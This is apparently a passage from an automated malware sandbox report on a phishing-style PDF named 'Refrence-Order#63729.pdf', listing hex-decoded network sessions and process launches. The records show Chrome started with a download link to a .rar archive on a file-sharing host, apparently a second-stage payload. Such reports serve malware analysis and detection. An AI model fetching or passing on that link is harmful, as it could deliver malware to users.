2024-10-04 02:28:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-04 02:28:13 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 43 75 4d 66 48 4d 44 68 30 2b 72 75 33 43 48 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 63 31 65 31 62 66 34 39 38 39 61 33 63 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 38 46 46 4f 62 35 53 74 35 2b 2b 4a 71 76 43 71 5a 4b 63 56 46 34 38 58 55 59 49 69 56 6c 36 6b 72 53 76 44 46 31 76 37 69 47 68 6e 6d 42 72 43 54 48 50 52 71 6a 47 43 4c 34 58 31 51 41 68 43 69 4d 32 44 37 56 59 4c 6a 79 63 49 4e 54 62 51 51 6b 31 6c 75 35 57 67 74 4a 67 54 33 43 47 45 4b 48 43 44 35 35 52 44 4a 47 44 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: sCuMfHMDh0+ru3CH.2Context: 67c1e1bf4989a3c2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS8FFOb5St5++JqvCqZKcVF48XUYIiVl6krSvDF1v7iGhnmBrCTHPRqjGCL4X1QAhCiM2D7VYLjycINTbQQk1lu5WgtJgT3CGEKHCD55RDJGDh
2024-10-04 02:28:13 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 43 75 4d 66 48 4d 44 68 30 2b 72 75 33 43 48 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 37 63 31 65 31 62 66 34 39 38 39 61 33 63 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: sCuMfHMDh0+ru3CH.3Context: 67c1e1bf4989a3c2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-04 02:28:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-04 02:28:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 41 52 54 44 79 53 52 30 45 75 6e 32 65 37 4a 2f 68 4c 68 41 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: mARTDySR0Eun2e7J/hLhAQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49750	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:28:20 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wKbOL3wcW9SdmP4&MD=zKHdUXM2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-04 02:28:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d00137c5-0c2d-4e00-be56-698ee59189bd MS-RequestId: ade0f4c3-5a0e-4d8a-a08d-7749a1fae1fb MS-CV: 8sqxOsaH5kCvi/1E.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 04 Oct 2024 02:28:20 GMT Connection: close Content-Length: 30005
2024-10-04 02:28:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-04 02:28:21 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49751	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:28:45 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 64 30 5a 33 47 76 75 64 55 71 65 79 4e 4d 42 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 39 38 32 61 34 31 61 35 35 34 61 30 66 36 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bd0Z3GvudUqeyNMB.1Context: c982a41a554a0f68
2024-10-04 02:28:45 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-04 02:28:45 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 64 30 5a 33 47 76 75 64 55 71 65 79 4e 4d 42 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 39 38 32 61 34 31 61 35 35 34 61 30 66 36 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 38 46 46 4f 62 35 53 74 35 2b 2b 4a 71 76 43 71 5a 4b 63 56 46 34 38 58 55 59 49 69 56 6c 36 6b 72 53 76 44 46 31 76 37 69 47 68 6e 6d 42 72 43 54 48 50 52 71 6a 47 43 4c 34 58 31 51 41 68 43 69 4d 32 44 37 56 59 4c 6a 79 63 49 4e 54 62 51 51 6b 31 6c 75 35 57 67 74 4a 67 54 33 43 47 45 4b 48 43 44 35 35 52 44 4a 47 44 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bd0Z3GvudUqeyNMB.2Context: c982a41a554a0f68<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS8FFOb5St5++JqvCqZKcVF48XUYIiVl6krSvDF1v7iGhnmBrCTHPRqjGCL4X1QAhCiM2D7VYLjycINTbQQk1lu5WgtJgT3CGEKHCD55RDJGDh
2024-10-04 02:28:45 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 64 30 5a 33 47 76 75 64 55 71 65 79 4e 4d 42 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 39 38 32 61 34 31 61 35 35 34 61 30 66 36 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: bd0Z3GvudUqeyNMB.3Context: c982a41a554a0f68<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-04 02:28:45 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-04 02:28:45 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 50 7a 4b 55 62 52 2b 39 55 69 65 61 67 30 69 30 6c 6e 35 55 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 9PzKUbR+9Uieag0i0ln5Uw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49754	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:29:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4b 7a 4e 77 31 42 6c 36 30 30 4f 75 6e 74 57 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 63 32 65 33 61 64 32 38 34 34 63 34 31 30 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: KzNw1Bl600OuntWr.1Context: 9c2e3ad2844c410c
2024-10-04 02:29:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-04 02:29:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4b 7a 4e 77 31 42 6c 36 30 30 4f 75 6e 74 57 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 63 32 65 33 61 64 32 38 34 34 63 34 31 30 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 38 46 46 4f 62 35 53 74 35 2b 2b 4a 71 76 43 71 5a 4b 63 56 46 34 38 58 55 59 49 69 56 6c 36 6b 72 53 76 44 46 31 76 37 69 47 68 6e 6d 42 72 43 54 48 50 52 71 6a 47 43 4c 34 58 31 51 41 68 43 69 4d 32 44 37 56 59 4c 6a 79 63 49 4e 54 62 51 51 6b 31 6c 75 35 57 67 74 4a 67 54 33 43 47 45 4b 48 43 44 35 35 52 44 4a 47 44 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: KzNw1Bl600OuntWr.2Context: 9c2e3ad2844c410c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS8FFOb5St5++JqvCqZKcVF48XUYIiVl6krSvDF1v7iGhnmBrCTHPRqjGCL4X1QAhCiM2D7VYLjycINTbQQk1lu5WgtJgT3CGEKHCD55RDJGDh
2024-10-04 02:29:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4b 7a 4e 77 31 42 6c 36 30 30 4f 75 6e 74 57 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 63 32 65 33 61 64 32 38 34 34 63 34 31 30 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: KzNw1Bl600OuntWr.3Context: 9c2e3ad2844c410c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-04 02:29:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-04 02:29:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 75 71 4a 46 50 6a 58 75 30 4b 79 50 52 55 47 48 57 77 44 79 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: buqJFPjXu0KyPRUGHWwDyg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49756	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-04 02:30:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 53 33 62 47 61 31 4d 6f 6b 4b 75 49 43 67 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 61 63 61 64 30 61 33 62 30 64 38 62 35 38 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bS3bGa1MokKuICgP.1Context: facad0a3b0d8b589
2024-10-04 02:30:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-04 02:30:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 53 33 62 47 61 31 4d 6f 6b 4b 75 49 43 67 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 61 63 61 64 30 61 33 62 30 64 38 62 35 38 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 38 46 46 4f 62 35 53 74 35 2b 2b 4a 71 76 43 71 5a 4b 63 56 46 34 38 58 55 59 49 69 56 6c 36 6b 72 53 76 44 46 31 76 37 69 47 68 6e 6d 42 72 43 54 48 50 52 71 6a 47 43 4c 34 58 31 51 41 68 43 69 4d 32 44 37 56 59 4c 6a 79 63 49 4e 54 62 51 51 6b 31 6c 75 35 57 67 74 4a 67 54 33 43 47 45 4b 48 43 44 35 35 52 44 4a 47 44 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bS3bGa1MokKuICgP.2Context: facad0a3b0d8b589<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS8FFOb5St5++JqvCqZKcVF48XUYIiVl6krSvDF1v7iGhnmBrCTHPRqjGCL4X1QAhCiM2D7VYLjycINTbQQk1lu5WgtJgT3CGEKHCD55RDJGDh
2024-10-04 02:30:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 53 33 62 47 61 31 4d 6f 6b 4b 75 49 43 67 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 61 63 61 64 30 61 33 62 30 64 38 62 35 38 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: bS3bGa1MokKuICgP.3Context: facad0a3b0d8b589<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-04 02:30:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-04 02:30:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 63 6c 66 58 5a 41 4c 6f 6b 6d 5a 42 6b 6c 76 42 64 32 37 37 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0clfXZALokmZBklvBd277A.0Payload parsing failed.

Target ID:	0
Start time:	22:27:27
Start date:	03/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Refrence-Order#63729.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:27:28
Start date:	03/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:27:28
Start date:	03/10/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1648,i,13846908191523088428,4317798153426057355,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:27:52
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://files.catbox.moe/ft6o99.rar"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	22:27:53
Start date:	03/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2024,i,4430408349304570474,12828371247776243048,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	22:27:56
Start date:	03/10/2024
